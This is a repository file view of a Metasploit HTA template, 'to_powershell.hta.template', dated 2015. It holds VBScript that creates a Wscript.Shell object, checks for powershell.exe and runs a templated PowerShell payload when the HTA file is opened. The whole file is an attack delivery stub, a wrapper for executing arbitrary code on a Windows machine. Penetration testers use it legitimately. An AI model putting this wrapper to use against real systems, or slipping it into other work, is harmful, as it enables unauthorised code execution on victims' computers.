Files
metasploit-gs/data/templates/scripts/to_powershell.hta.template
T
2015-05-15 11:48:21 -05:00

8 lines
312 B
Plaintext

<script language="VBScript">
Set %{var_shell} = CreateObject("Wscript.Shell")
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
%{var_shell}.Run "%{powershell}"
End If
</script>